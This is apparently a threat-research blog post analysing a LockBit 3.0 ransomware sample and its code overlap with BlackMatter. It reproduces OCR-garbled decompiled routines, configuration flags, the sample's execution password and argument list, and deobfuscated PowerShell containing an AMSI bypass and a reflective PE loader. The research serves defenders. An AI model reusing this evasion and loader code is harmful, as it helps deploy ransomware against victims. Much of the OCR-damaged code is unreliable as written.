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In June 2022, LockBit revealed version 3.0 of its ransomware. In this blog entry, we discuss the findings from our
own technical analysis of this variant and its behaviors, many of which are similar to those of the BlackMatter
ransomware.
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In March 2022, less than a year after LockBit 2.0 first emerged, researchers caught wind of an upcoming new
variant of the LockBit ransomware. LockBit 3.0, aka “LockBit Black,” wouldn’t be unveiled until late June, coinciding
with the launch of the group’s new leak site and bug bounty program. A researcher has since shared a sample of
LockBit 3.0, along with his initial analysis of the new variant.

Using the packer identifier utility Detect It Easy, we found that this particular LockBit 3.0 sample is a Win32 .exe file
with multiple sections packed with an unknown packer (Figure 1). According to the original source of the sample, the
malware uses this argument for execution:

{04830965-76E6-6A9A-8EE 1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass
db66023ab2abcb9957fb01ed50cdfaba

The LockBit 3.0 sample then drops an .ico file with the same file name as the one appended to the encrypted files in
the %PROGRAMDATA% folder (Figure 2).
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- Detect It Easy v3.00

File name

C:\_virus\LockBit3official\BOeBdefa5377018b093b5bo0de0f2957f7062144c83a09a56b balle‘leﬁaﬂ-szc-ﬂ

File type
PE32

Detect It Easy(DiE)

Entry point

0041b4a6f

Export Import

TimeDateStamp
2022-06-27 22:55:54
Endianness

LE

Disasm

Resources
SizeOflmage
0002cD00D
Mode

32

Base address

Resources
Manifest
Architecture

386

Hash

Memory map Strings

Overlay Entropy

Hex
Version
Type
GUI

inker Microsoft Linken(14.12)[EXE32]

Options

Deep scan About

Signatures

111 msec Exit

F_J Entropy

Offset

00000000

Type Total Status

PE32 7.98437 packed

Entropy
Regions
Entropy Status

PE Header 000000 10000400 1.79572 not packed
Section(0)[".text’] 000400 00019a0C 7.99822 packed
Section(1)[.itext’] 5.83607 not packed
Section(2)['.rdata’] 3.59083 not packed
Section(3)['.data’] 7.99527 packed

Section(4)[".pdata’] 00024a00 7.98989 packed
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The file properties of LockBit 3.0

Figure 1.

2/19



= Computer = Local Dak () = ProgrembDats =

Orgarze = Incudeinibvary = Shaewth =  Bum  New foder

— harme - | Dt ot | Tvee | == |
M Desktiog a Appicaton Dats TIAZ009 1253 PM  Fie fodder
’ : 'r':' 4 Desidop /1472009 1253 PM Fle foder
- TRcpa i g Documents TEM Pl fokder
LB g Favortes IPM e foider . . . . o o
Do —— o e older Figure 2. The .ico file in the %PROGRAMDATA%
4. Musk Merosoft PM e fotder
H Pctures M e Pl e
Ve Oxacle Fie foider
B Computer Pacicage Cache i fsicher
Elaipekic) o Sthew File foider
oo ohame (E d Pl foder
Fle foder
W Retork :,.,J 158
folder

As part of its encryption process, LockBit 3.0 appends the extension HLJkNskOq (Figure 3) and changes the icons
of encrypted files to that of the aforementioned .ico file.

Name | Date modfed | Type | see |
3 aBGsr7F.HLUIkNskOq 742022 9:58 AM HLIKNSEOO Fle 1 KB
3 baUWugn. HLIkNskOq 7/4/20229:58AM  HLIKNSKOQ Fie 1KB
HLIkNskOg.README. bt 7/4/2022 58 AM  Text Document ne |Figure 3. The encrypted files with new file
= N:':Ln'-K.Hle.N’SkUq T4 2022 9:58 AM HLIKNSKOOQ Fie 1 KB
3 pSwakP.HLIkskOq 7/4/2022 9:58AM  HLIKNSKOQ Fie 1KB

names and extensions, along with LockBit’s ransom note

The ransomware then drops its ransom note (Figure 4), which references “llon Musk” and the European Union’s
General Data Protection Regulation (GDPR). Lastly, it changes the wallpaper of the victim’s machine to inform them
of the ransomware attack (Figure 5).
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: ,
contents of LockBit 3.0’s ransom note
LockBit Bl
All your imports files are stolen and ¢ ! FlgUre 5. The deSktOp Wallpaper applled by LockBit

You must find HLJkNskOg.README. txt file
and follow the instruction!

3.0

Similarities to BlackMatter ransomware

Researchers have pointed out that portions of LockBit 3.0’s code seem to be borrowed from the BlackMatter

ransomware, hence the nickname LockBit Black. Likewise, we found similarities between
LockBit variant during our debugging of the LockBit 3.0 sample. From our examination of

BlackMatter and the new
the unpacked sample and

an analysis provided by the researcher Chuong_Dong, we discovered that LockBit 3.0 requires a pass parameter to
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decrypt its main routine (Figure 6). Other ransomware families like Egregor have been observed exhibiting this same
behavior, where an argument is required to proceed with the routine. This makes the binary harder to reverse if the
parameter is not available.

Vi = 200000000
do
_..-1;
while ( v1 );
param = GetCommandLine_41B2E4();
v3 = check_pass_41B248(param, &hex_pass);
if (w3 )
{
expand_key_41B2F4(&v12, &hex_pass);
11 = initDecrypt_41B348(ve, &v1i2, &vi3, Bvie);

= *(sub_41B2D4() + 8); // ImageBaseAddress

5= se + *(ImageBase + Bu3C); // PE Header X i
ums 15 = *(v5 + 6); // Wumber of Sections Figure 6. Decrypting
vl = + BxF8); // SectionHeader
do
{ )
v3 = hash_string_41BBEC(v7, 8);
if ( v3 == B8x76918875 || v3 == @x4A41B || v3 == @xBB4AB4SB )// .text | .data | .pdata
LOBYTE(vZ) = Decrypt_41B41C(ve, ImageBase + v7-»VirtualAddress, v7->SizeOfRawData, &vie, vil);
L
-=numSections;
while { numSections );
¥
return v3;

sections using a -pass argument

LockBit 3.0 performs API harvesting by hashing the API names of a DLL, and then comparing it to the list of the APIs
that the ransomware needs (Figure 7). This routine is identical to that of BlackMatter (Figure 8), as the externally,
available script for renaming BlackMatter’s APIs also works for LockBit 3.0 (Figures 9 and 10).

result = hashedAPI_4079A8(0©xF80F18ES8);
if ( result )
{
result = (result)(266242, @, ©, 0, @, 0); // RtlCreateHeap
vl = result;
if ( result )
{
if ( ((*(result + 64) >> 28) & 4) =0 )
vl = __ROL4__ (result, 1);

result = hashedAPI_4879A8(0x6E6047DB); // RtlAllocateHeap

v2 = result;

if ( result )

{ Figure 7.
resolveAPIs_407C5C(&unk_427408, dword_407DA4, vl, result);
resolveAPIs_407C5C(&unk_4274F4, dword_407E94, vl, v2);
resolveAPIs_407C5C(&unk_4275E4, dword_407F88, v1, v2);
resolveAPIs_407C5C(&unk_427684, dword_40802C, v1, v2);
resolveAPIs_407C5C(&unk_427694, dword_408040, vl, v2);
resolveAPIs_407C5C(&unk_4276CC, dword_4807C, v1, v2);
resolveAPIs_407C5C(&unk_427720, dword_4e8eD4, vl, v2);
resolveAPIs_407C5C(&unk_427734, dword_4©80EC, v1, v2);
resolveAPIs_407C5C(&unk_42775C, dword_48118, vi1, v2);
resolveAPIs_407C5C(&unk_427794, dword_408154, vl, v2);
resolveAPIs_407C5C(&unk_4277A8, dword_4816C, v1, v2);

racnluvalDPTe AQATCEC{R2unk A?277RA Awnrd AARKTTR w1 w2y
LockBit 3.0’s routine for API harvesting
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if

{
sub_405286(Bunk_a1
sub_405ABG6(Bunk 41
sub_405A86( Bunk_21

40586 ( Bunk_41

sub,

sub_&@SASE[ Bunk &1
sub_S05A86(Bunk_41
sub_SBSASE(Bunk 41
sub_40%A86(Bunk_a1
sub_4@5AB6(Bunk_41
sub_405a36( Bunk_s1
sub_4@5a86( Bunk_41
sub_S05ABE(Bunk_41
sub_s05AS6( Bunk_211594,

= {int {

return

Harvesting

APls

et
Stewt
+TENT
~text
«text
Stext
«TENt
«text
«tent
~text
«Text
«Text
«tent
text
«TExt
«text
«text
«text
« TRt
« TExt

HE4RSARE
L RAQSART
LRYRSAET
D ARS AR
DiBAaSARE
1 OAOSABRL
DS ARF
LSS
LS ATS
R L)
T BASSASE
COANSA00
OANSAGF
Rl
P BBABGAAS
COAGSAAS
PADGEAS
+ (AOGALG
 BOAN5AAR
 OADSAAD

T ARE B AR

APls
Instead of directly calling the addresses of the harvested APIs, LockBit 3.0 implements a trampoline pointer (Figure
11) to go to an allocated heap that contains a disassembly code that will then jump to the APl address of the
NtTerminateProcess API (Figure 12). The code contained in the heap is randomly chosen from this set of codes:

loc_4058A5:

12aC,
1368,
1428,
1488,
1484,
14EC,
14FC,
1518,
1548,
154C,
1554,
1568,

})sub_485810(638256965) ;

. ] (exspoon, @, @);

¥ )sub_485810(1E51823511);

M

dword 4854FC, 1, 1
dwcrd_4958BC , ;
dword_s85CE8, 1, v1);

dword_485C0C,

dwird_895018, 1,
dwied_a85050, 1,
dword 485064,
dword_425084,
dword_485080,
dword_a85008,
dword_4850CC,
dwird_8950E8, 1,
dword_485E18, 1,

T

Figure 8. BlackMatter’s routine for API

b)sub_485AB6({Bunk_ 411548, dword 485E2C, , IH

push ebp

oy ebp, esp

push ebx

push esi

push edi

mow esl, [ebprarg 4]
I-\o' eax, 2ISELFED I
oy L

call sub_485928

Test Sax, eax

jz short loc_&854F3
(-4 edi, [ebpiarg @8]
add edi, 4

lodsd

omp eax, BOCCK h
jnz shert loc_S85AAF
J=p short Loc_s054aF3

¢ ROR by random number
ROL by random number
XOR to key
ROR by random number, then XOR to key
ROL by random number, then XOR to key

Figure 9. The XOR key LockBit 3.0 uses for renaming

Figure 10. The XOR key BlackMatter uses for renaming
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*v8 = OxB8;
v9 =
if (vo9 )
{

switch (

{

case 1lu

rand_

*(v14
*(vid
*(vi4
*(vi4
break
case 2u
*(v1ie
*(vi1e
*(v1e
*(vie
break

rand_401120(0, 4u);

// opcode: mov eax

// rol eax

// Jmp eax

// xor eax

v9 )

val = rand_401120(1u, Su);

+ 1) = __ROR4__(api_Address, rand_val);
+ 5) = @xCecl;

+ 7) = rand val;

+ 8) = OXEOFF;

+ 1) = api_Address ~ @x4506DFCA;

+ 5) = ©x35;

+ 6) = Ox4506DFCA;

+ 10) = OxEOFF;

.
E

case 3u:

v15
*(v16
*(vle
*(v16
*(v16
*(vle
*(v16
break

rand_401120(1u, Su);

+ 1) = __ROL4__(api_Address ~
+ 5) = 9xC8C1;

+ 7) = v15;

+ 8) = ©x35;

+ 9) = @x4506DFCA;

+ 13) = OxEeFF;

.
&

LockBit 3.0’s trampoline pointer code
NtTerminateProcess dd 16CSB8EEh
qaa 2

I

:016C50E8  mov eax, BCABEDC@h

:@16C5ED rol eax, 2

1016C5eFe xor eax, 4506DFCAh

{016C50F5  jmp  eax -
L A I T T

*TASEED 4

FF 12
C2 08 00 Fet =

e

e —

(I.‘I‘I_dm)rd ptr ds: [edx]

12. LockBit 3.0’s trampoline call to the NtTerminateProcess API
LockBit 3.0 and BlackMatter also implement the same antidebugging technique: Both set the thread information to

ThreadHideFromDebugger (0x11) via the NtSetThreadInformation API (Figure 13) to cause any debuggers to crash
if a breakpoint is placed on this thread.

// Jjmp eax

©x4586DFCA, v15);
// ror eax

// Xor eax

// Jjmp eax

RoL( RoL(8CABEDCO)) XOR4506DFCA =

77A9 68C8 Figure

|zwTerminateProcess

Figure 11.
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if ( a1l )
vl = al;
else
= @xFFFFFFFE;

return NtSetInformationThread(vl, exl11, @, ©);// exll =

ThreadHideFromDebugger

13. ThreadHideFromDebugger via NtSetThreatinformation

Like BlackMatter, LockBit 3.0 employs threading when using an API instead of directly calling an API, which is likely

Figure

an attempt to make it more difficult for researchers to analyze. The strings it uses are decrypted using a simple
bitwise-XOR routine (Figure 14), a bitwise-XOR and NOT routine (Figure 15), or a decryption routine involving a
linear congruential generator (LCG) algorithm to generate a pseudorandom key (Figure 16). This is also similar to
how BlackMatter operates, except for the addition of the bitwise-XOR and NOT routine.

*HeapHandle = ©x455ADF96; /7 \\?\
v7[1] = ©x455ADFF5;

*¥v7 ~= Ox4506DFCAu;

v7[1] “= ©x4506DFCAu;
wcscat(HeapHandle, v5);

14. LockBit 3.0’s bitwise-XOR routine for string decryption

v3[@e] = -1165352944; E“

v3[1] = -1163196245; %1 A_ :
v3[2] = -1162338192; L aseertAw
v3[3] = -1162600335; sal;

v3[4] = -1160306576; --a2;

v3[5] = -1165942719; y

v3[6] = -1158078399; while ( 22 );

str_decrypt_401260(v3, 7);

oS .README . txt

15. LockBit 3.0’s bitwise-XOR and NOT for string decryption

HeapHandle = decrypt_buffer_4@8C9C(dword_423F72);// powershell Get-ADComputer -filter * -Searchbas¢

if ( HeapHandle )

if ( !CoInitialize(@) )

{ [3]=
riid.Datal = 1199273701; —2[1] =
*griid.Data2 = -1422402272; LABEL_2:
*riid.Datad = -621826146; result 5

vid = 2;
while ( 1)
{
*al *= res
7 = al +
v8 = a2 -
if ( lve )
*y7 A= BYTEL(vE

= LCG_PseudoRand_4017C8(&LCG_Seed_428680,

vd = *(&LCG_Seed_428080 + 1);
t&LCG Seed _428008;

return result;

vi3);

);

16. LockBit’s 3.0 string decryption using an 'LCG'éIgorit-hm
LockBit 3.0’s configurations (Table 1) are decrypted using the same XOR routine and keys obtained from an LCG
pseudorandom number generator, and then decompressed using a compression library called APLib.

Configuration Description

Figure

Figure

Figure

PUB_KEY[0x80]  RSA public key
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VICT_ID[0x10] Victim ID (This is based on BlackMatter’s code, but is not used by LockBit 3.0.)

AES_KEY[0x10] AES_KEY for the command-and-control (C&C) server (This is based on BlackMatter’s code,
but is not used by LockBit 3.0.)

FLAGS[0x18] Flags for specific routines

OFFSET_ARRAY Array of the offset of Base64-encoded strings from this address (The length of the array is
equal to the first value.)

BASE64_STRING Array of Base64-encoded strings, which includes:

¢ Hashes of folders, files, and extensions to avoid
o Hashes of computer names to avoid

e Services and processes to kill

o A list of C&C servers

¢ Admin credentials

e The ransom note

Table 1. A list of LockBit 3.0’s configurations
LockBit 3.0 also checks the victim machine’s Ul language to avoid infecting machines with these languages:

o Arabic (Syria)

e Armenian (Armenia)

o Azerbaijani (Cyrillic Azerbaijan)
e Azerbaijani (Latin Azerbaijan)
o Belarusian (Belarus)

e Georgian (Georgia)

o Kazakh (Kazakhstan)

o Kyrgyz (Kyrgyzstan)

e Romanian (Moldova)

¢ Russian (Moldova)

¢ Russian (Russia)

o Tajik (Cyrillic Tajikistan)

o Turkmen (Turkmenistan)

o Tatar (Russia)

e Ukranian (Ukraine)

e Uzbek (Cyrillic Uzbekistan)

e Uzbek (Latin Uzbekistan)

LockBit 3.0 also retains these BlackMatter routines for privilege escalation:

e Uses UACMe’s method of bypassing user account control (UAC), which is to use the ICMLuaUtil COM
interface under dllhost.exe

o Duplicates the Explorer.exe token for its own use

o Performs a 32-bit or 64-bit shellcode injection to elevate its token

The string that both LockBit 3.0 and BlackMatter use as the encrypted file name extension, ransom note name, and
wallpaper and icon name is a Base64-encoded hash (Figure 17). However, a key difference between the two pieces
of ransomware is that LockBit 3.0 opts to use an RSA public key embedded in its configuration and hash it with
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MD5, whereas BlackMatter uses a MachineGUID hashed using the same algorithm for APIs. This makes the string
similar for all machines infected by the same sample, which is likely an attempt by LockBit’'s operators to make it
easier for them to identify which RSA private key pair is needed for an encrypted file.

if { RepQueryMachinetUTs JaiBe( k y 3 MOSInit{vd);
L @ = Alisate sorresiz; ¢3 = pubKey_MD5_3089FC(
- iz if { v3 )
i (1) {
{ MDSUpdate(vs, vB, 2 ¢
"1 - 46} MOSFinal(v3);
1+1; Po= vl
® Mash_80111C(M; . BRPPRFPRRRY; {bédancode_281424)(v18,
= nask_sRiilc| ne e H [9] = @;
10[@] = haeh_a013i{MachirefuiD, vi); HIBYTE(v5) = 8;
0[1] = _byteswsp_ulong(v10[0]); while ( 1)
=
Al s ; : {
.hrg.n-:.;;..dl_ﬂuﬂ\ﬁ]( . By ' H LOBYTE(vS) m ®udd+;
NIE'\"'i'EC Vs 0 if (! )
while ( 1) break;
{ switch ( )
LOBYTE(vE) & Svi=dl
if ( 1ve ) case "+°:
break; LOBYTE(v5) = "x';
suitech ] break;
{ ) case "/
case '+t LE L
LOBYTE(v5) = 'x"; LOBYTE(vS) = "1’
break break;
caté "5 case ‘m:
LOBYTE(v6] = *3'; LOBYTE(v5) = "z°;
BlackMatter Lockbit 5.0

(left) and LockBit 3.0 (right)
Like BlackMatter, LockBit 3.0 also performs these routines:

I F

16, v7)i

Figure 17. The string generation for BlackMatter

o Attempts to log in using credentials from its configuration list to determine if the compromised system is a part

of the domain admin that it will use for later routines

o Terminates and deletes processes and services from its configuration list, a routine similar to that of

BlackMatter
o Wipes the recyle bin folder of every drive

e Checks a list of computer name hashes to avoid from its configuration list

o Connects to the C&C server from its configuration list if the flag is set

o Encrypts network shares and Exchange Mailbox if set in its configuration flag

» Obtains a list of files, folders, and extensions to be avoided from its configuration list

o Uses pointed files when encrypting .Ink files

» Prints the ransom note on any available printers and modifies the desktop wallpaper

¢ Uses the same encryption algorithm as BlackMatter

LockBit 3.0’s deletion of shadow copies (Figure 18) is clearly lifted from BlackMatter’s code, as this is performed
using Windows Management Instrumentation (WMI) through COM objects, as opposed to LockBit 2.0’s use of

vssadmin.exe.
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v3[12] = -1158878411;
str_decrypt_4@1260(v3, 13);

if ( !CoCreateInstance(&rclsid, @, 1lu, &-iid, &ppv) &% !CoCreatelnstance(&vs, @, 1lu, &7, &v17) )
{

sub_408D@8(OxFFFFFFFF, &v19);

if ( vis )

{
\BEL_7:

if ( !ppv-»1lpVtbl->ConnectServer(ppv, vé, @, ©, @, @, @, v17, &pProxy)// ROOT\CIMV2
&& !CoSetProxyBlanket(pProxy, @xAu, @, 8, 3u, 3u, 9, @)
&& !pProxy=->lpVtbl->ExecQuery(pProxy, v5, v2, 48, @, &v15) )// SELECT * FROM Win32_ShadowCopy

while ( 1)

{

}

o Figure

v13 a;

if { v1s->lpVtbl->Next(v1s, -1, 1, &v14, &v13) )
break;

VariantInit(&v12);

if ( lv14-31pVtbl-»Get(vi4, v4, @, &v12, @, @) )// ID

{
swprintf(ve, v3, vi2.1lVal); /1 Win32_ShadowCopy.ID="%s"
pProxy=31pVtbl->DeleteInstance(pProxy, vé, 8, 8, 8);
VariantClear(&v12);

vig

v14->1pVtbl->Release(vid);

18. LockBit 3.0’s deletion of 'shlad'c;vil-(_:c_)'pies via WMI
This latest LockBit iteration performs some routines only if a specific argument is provided. LockBit 3.0 accepts only
the arguments listed in Table 2, while BlackMatter accepts only the -safe, -wall, and -path arguments.

Argument Description

-pass Uses the first 32 characters of the value as a key to decrypt the main routine (This is required for the
{value} ransomware to execute properly.)

-safe Reboots in SafeBoot

-wall Only sets the ransomware wallpaper and prints the ransom note on printers

-path Specifically encrypts the target, which can be a file or folder

{target}

-gspd Performs group policy modification for lateral movement

-psex Performs lateral movement via admin shares

-gdel Deletes group policy updates

-del Deletes itself

Table 2. A list of arguments that LockBit 3.0 accepts
The new LockBit variant checks arguments using hashing and based on the code. It's designed to perform only one
routine from the arguments except for -pass, which needs to be performed before the other arguments can be

checked.

The routines to print the ransom note and change the victim machine’s wallpaper is also similar to

BlackMatter’s routines if the -wall argument is provided. Like BlackMatter, LockBit 3.0 can also restart in safe mode
and execute via the RunOnce registry, as long as the -safe argument is provided.
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However, there is one key difference between their configuration flags: BlackMatter has only nine flags while LockBit
3.0 has 24, as detailed in Table 3.

Configuration flag Description

ENCRYPT_LARGE_FILE_FLAG If set, a large file will be included in the encryption routine.
RANDOM_FILE NAME_FLAG If set, encrypted files will be renamed to random file names.
ATTEMPT_LOGON_FLAG If set, a login attempt will be made using credentials from

LockBit 3.0’s configuration list, and the credentials will be
saved if these have domain admin rights.

EXCLUDE_HIDDEN_FLAG If set, hidden files will not be encrypted.

CHECK_UI_LANGUAGE_FLAG If set, the victim machine’s Ul language will be checked and
the ransomware will terminate if the machine is from any of
the avoided countries.

MOUNT_VOL_ENC_EXCHANGE_SERVER_FLAG If set, all volumes for encryption will be mounted and
available exchange servers will be encrypted.

ENC_SHARED_FLAG If set, shared folders will be encrypted.

TERMINATE_PROCESS_FLAG If set, processes from LockBit 3.0’s configuration list will be
terminated.

DELETE_SERVICE_FLAG If set, services from LockBit 3.0’s configuration list will be
deleted.

CREATE_MUTEX_FLAG If set, a check will be done to see whether mutex is already

created and the ransomware will terminate if it is.

PRINT_RANSOM_NOTE_FLAG If set, the ransom note will be printed on available printers.
CHANGE_WALLPAPER_FLAG If set, the victim’s wallpaper will be changed.
CHANGE_ICON_FLAG If set, the icons of encrypted files will be changed.
CONNECT_TO_CNC_FLAG If set, communication will be done with a C&C server from

LockBit 3.0’s configuration list.

DELETE_SELF_FLAG If set, the ransomware will delete itself using a dropped .tmp
file.
DELETE_AV_SERVICE_FLAG If set, AV services matching the hashes will be terminated.
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CREATE_TEMP_MAX_DISKSPACE

If set, another .tmp file (from the same .tmp file used in
DELETE_SELF_FLAG flag) will be created on each drive
with random contents and sizes based on DiskFreeSpace.

HAS_ADMIN_CRED_FLAG

If set, an attempt will be made to use admin credentials
obtained from the ATTEMPT_LOGON_FLAG flag.

RUN_AS_ADMIN_FLAG

If set, commands will be executed as admin using
credentials from the ATTEMPT_LOGON_FLAG flag.

FORCE_GPUPDATE_VIA_POWERSHELL_FLAG

If set, group policy updates will be forced on all active
directories using a PowerShell command.

DELETE_TEMP_FLAG

If set, the same .tmp file used in the DELETE _SELF FLAG
flag will be deleted via MoveFileExW and the victim
machine will be restarted.

DISABLE_EVENTLOG_FLAG

If set, EventLog will be disabled via registry and service.

DELETE_GPO_FLAG

If set and the -gspd parameter is used, the victim machine’s
sleep time will be set to 1 minute before performing routines
that will delete group policy updates.

UNUSED_FLAG

An extra flag that’s not used in the analyzed binary (or
possibly an indicator of the end of flags).

Table 3. The flags that can be set in LockBit 3.0’s configuration

One notable behavior for this third LockBit version is its file deletion technique: Instead of using cmd.exe to execute
a batch file or command that will perform the deletion, it drops and executes a .tmp file decrypted from the binary. It
has, however, retained some of LockBit 2.0’s features, like the earlier version’s ability for lateral movement through a
group policy update, as long as there is a -gspd parameter provided.

The executed .tmp file overwrites the contents of the ransomware binary and then renames the binary multiple times
(Figure 19), with the new file names based on the length of the original file name. For example, a file named 17.exe,
which has five characters (including the file name extension), is renamed as AAAAA, and then BBBBB, up to ZZZZZ.
After renaming the file, LockBit 3.0 finally deletes it (Figure 20). This routine is probably the LockBit ransomware
group’s attempt to avoid recovery by forensic tools and cover their tracks by completely removing any trace of the

ransomware.
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new_filename = (off_485220->wcscpy_402128) (ransomware_fullpath, @);
if ( new_filename )
{
old_filename = (off_4@5220->wcscpy_482128)(ransomware_fullpath, @);
if ( old_filename )

{
v2 = 26;
v3 = 'A';
do
{ .
v4 = ((ntdll_4e5208->wcsrchr)(old_filename, *\\') + 2);// length of filename Figure
do
*ud++ = v3; // replace filename
while ( *va );
if ( !(kernel32_4e52eC->MoveFileExW)(new_filename, old_filename, 8) )
break;
(ntdll_4e5208->wcscpy)(new_filename, old_filename);
++v3;
-=v2;
while ( v2 );
1}
19. LockBit 3.0 renaming the ransomware file multiple times
(off_405228->multiple_rename_402E18)(ransomware_fullpath, &new_path); Figure

if ( (kernel32_40520C->DeleteFileW)(new_path) )

20. LockBit 3.0 deleting the ransomware file after renaming it repeatedly

LockBit 3.0 on VirusTotal

A researcher recently spotted another LockBit 3.0 sample on VirusTotal (Figure 21), with 19 detections at the time of
this writing. This specific sample is a PowerShell script containing two layers of obfuscated code (Figures 22 and
23). After deobfuscating the script (Figure 24), we found that LockBit 3.0 is capable of injecting a DLL into memory
via reflective loading (Figure 25), using code that is identical to BlackMatter’s own PowerShell code (Figure 26).

@ 18 security vendors and no sandboxes flagged this file as malicious i = b :_1_
©597cT5cEbEL28e Ib5cBoaceeld5dE0802e 7ID6535444b5951367 TaB4 66T 1.22 MB 2022-07-20 20:59:46 UTC —
Ickps1 Size 11 hours ago TXT

e detect-debug. direct-cpu-clock-access  runtime-modules  lext

x c I)TT unity i
Scone

Flgure 21. A LockBit 3.0 sample found on VirusTotal as of July 21, 2022

for (§1 = 0; §i -1t Sargs.count; $i++ ){Sargument $args[$ '

fpsFile=3PsCommandPath

MaximumvariableCount=32567

#Seed: 143 Total vars: 19463

$b93rn="q7opllk6 Sglobal:ProgressPreference = ""SilentlyContinue " 'n'n# -- thread variables n” §script:threadfbygebpkjgq”
if (5b93rn “match “(2ms)Aq7opliké(.+)fbygebpkigas™)

{$b93rn-imatches (1]} else {$b93rn-"$Aq7opllké(.+)fbygebpkiggs”}

foreach (Su2gs7nd in @("181,27481862379095945, 024!601’615621?435 40575049699363375,8214065555851716, 66’355951 1361426(8 n(@ = atad™$"
foreach (Sckvt75bh8wh in @Q("16,28464510409455")) { Snnrs-Sckvt75bhBwh[-1. . -Sckvt? Shhth Length d }

55]h5fra]na8 $b93rn+So2d+Snnr

"792098652180512 ,65230187563416165,182838086207064™ 09" % {Sodvobc+=5_}

$4149pay="yu53d, 55049:55904443043 20409040601135092 ,48817124902009204 ,44358311043823201 ,64527480453839471, 5253607 26904 8km] "
if ($4149%ay "(Pms)AyuS3d (. +)kmjis")

{347149pay=-Smatches[1]} else {S84149%ay="Sryu53d(.+)kmjs"}

foreach (Swod76ntye in @("207315,84024918049227375,76874178081566725,7380")) { $j418r+=Swod76ntye[-1 Swod76ntye. Length in "t}
"9" | % {$7mcgqowms=5_}

$zghjgl=(Sodvobc, $4149pay, $j418r .57 mCgagxwm) )

foreach ($d10ymugpvu in a( 44319848161?3?5 9355358141™)) { Sotdnk&z+=Sdl0ymugpvul-1..-Sd10ymugpvu.Length "t}

if ($5jbssralnal.Length -eq "235") {

$1nndd7403y+=85jbssralnas

$Inndd7d4o3y+=Szghjgl

$Inndd7403y+=Sotdnksz

Figure 22. The first layer of LockBit 3.0's obfuscated code
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$global:ProgressPreference "SilentlyContinue”

# -- thread variables

$script:threadBody = '$data=$threadData;’

$data = @(

@(62416317159553766,6171585555604128 ,57336399694057504 ,58471265167106420,54959097326818472,18155490401546482 ,61792098652180512,65230!
@(62416317159553766,56180389873181216,55098072181772840,23568224017192548 , 2040804 3980373408 ,65187465691673850,65812149945507488 ,5738(
)

$am = [ref].Assembly.GetType('System.Management.Automation.Amsi' + "Utils')
if ($am) {
tam.GetField('amsi'+"InitFailed’, 'NonPublic,Static').Setvalue(Snull. S$true)

if (Spsversiontable.PSversion.Major -eq 2){SpsFile = $MyInvocation.MyCommand.Definition}
if ([IntPtr]::Size -eq 8) {
$psé6 = "S(Senv:SystemRoot)\Sysw0w64\windowsPowerShe11\v1.0\powershe11.exe"
ips86Args - @('-ex bypass', '-nonI', SpsFile)
if ($argument){Sps86Args + $argument}
Start-Process $ps86 3ps86Args -Window hidden
exit

F|gure 23. The second layer of LockBit 3.0’s obfuscated code

= function Exec {

param (
[ (Position = 0, Mandatory = Strue)]| () [Byte[]] $PEBytes,
[ (Position = 1)][String[]] $ComputerName,
[ (Position = 2)][ ( 'wstring", 'Sstring', 'void" )]
[string] $FuncReturnType 'void',
[ (Position = 3)][String] $ExeArgs,
[ (Position = 4)][Int32] $ProcId,
[ (Position = 5)][String] $ProcName,

[Switch] SForceASLR,
[Switch] $DoNotZeromz

)
Set-StrictMode -version 2
fRemoteScriptBlock = {

[ 0Ol
Param(
[ (Position = 0, Mandatory = Strue)[Byte[]] $PEBytes,
[ (Position 1, Mandatory = $true)][String] $FuncReturnType,
[ (Position = 2, Mandatory = S$true)][Int32] $Procld,
[ (Position = 3, Mandatory = S$true)][String] $ProcName,
[ (Position - 4, Mandatory - S$true)][Bool] $ForceASLR
)

Function GTypes {
SWin32Tvoes = New-Obiect Svstem.Obiect

Flgure 24. LockBit 3.0’s deobfuscated PowerShell script

Function Main {
if ((iPsimdlet. MyInvocation. BoundParameters|“Debug”] ne Snull) -and $PSCmdlet MyInvocation.BoundParameters|"Debug”].IsPresent) {
fDebugPreference “Continue"

Se_magic = (S$PEBytes(0..1] | % {[Char] 3 -join **
if (Se_magic -ne "MZ") { throw * }
if (-not SDoNotZeroMZ) {

il’LByu:s 1] 0

SPEBytes[1 0

if ($Exeargs -ne $null -and $ExeArgs -ne '*y { SExeargs = "ReflectiveExe $SExeArgs" }
else { $Exeargs Ref1ect1veExe
if ($ComputerName -eq $null -or $ComputerName -imatch "A\s*3") {
Invoke-Command s:riptn1ock $RemoteScriptBlock -ArgumentList @(3PEBytes, SFuncReturnType, SProcld, $ProcMame,$ForceASLR)
} oelse {

Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @(SPEBytes, $FuncReturnType, $Procld, $ProcName, $ForceASLR) -ComputerName $ComputerName
}
Figure 25. LockBit 3.0’s main function

Function Main {
if ((irscmdlet MyInvocation.BoundParameters["Debug”] -ne Snull) -and $PSCmdlet.MyInwocation BoundParameters|“Debug”|. IsPresent) {
$DebugPreference “Continue”

}
fe_magic (SPEBytes[0..1] % {[char] 5_}) -joir
if (Se_magic -ne 'MZ") { throw '0" }
if {-not SDoMotZeroMz) {
SPEBytes [0 0
IPEBytes[1 0

if ($ExeArgs -ne Snull -and $Exeargs -ne ') { SExeargs "ReflectiveExe $Exeargs” }
else { 3Exeargs - "ReflectiveExe™ }
if ($ComputerName -eq $null i SComputerdame —imatch "a\s*$") {
Invoke-Command -ScriptBlock SRemoteScriptBlock -ArgumentList @(SPEBytes, SFuncReturnType, $Procld, SProcName,SForceASLR)
} else {

Invoke-Command -ScriptBlock $RemoteScript8lock -ArgumentList @(SPEBytes, S$FuncReturnType, $Procld, $Prociame,$ForceASLR) -ComputerName SComputeriame
}
Figure 26. BlackMatter’s main function

This particular sample has a payload that is compressed and encrypted via Base64 (Figure 27). To access it, we
modified the script to dump the payload instead of executing it (Figure 28). By dumping the payload, we were able to
obtain LockBit 3.0’s main binary (Figure 29).

When it is executed, the script exhibits the same behavior as the previously discovered LockBit 3.0 sample. This
specific sample appends 19MqZqZ0s to the file names of encrypted files (Figure 30).
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function Do-Exec($Payload
[System.Convert]: :FromBaseb4String(fPayload)

H

tic fLen) {
3z 1pBytes
fms = Mew-Object IO.MemoryStream
fms . Write($zipBytes, 0
$null ims . Seek(0,0)
$ExeImage New-Object Byte[](SLen)
Snull $ds.Read(SExeImage, 0
$ds .Dispose()

# Exec -PEBytes SExeImage

$zipBytes.Length)

New-Object IO.Compression.DeflateStream($ms

fLen)

# Exe-file image will putted in next line
Do-Exec -Payload '7LOLXIXS//9/NUD1GGayRdmQO270kbMONXKKSYIhxyQ51DTKELVTV]1mShis82LXynmx0ZeinAtLu0IIkZmI0laad+vIuWzG

#0

ooo[1] -ea SilentlyContinue;

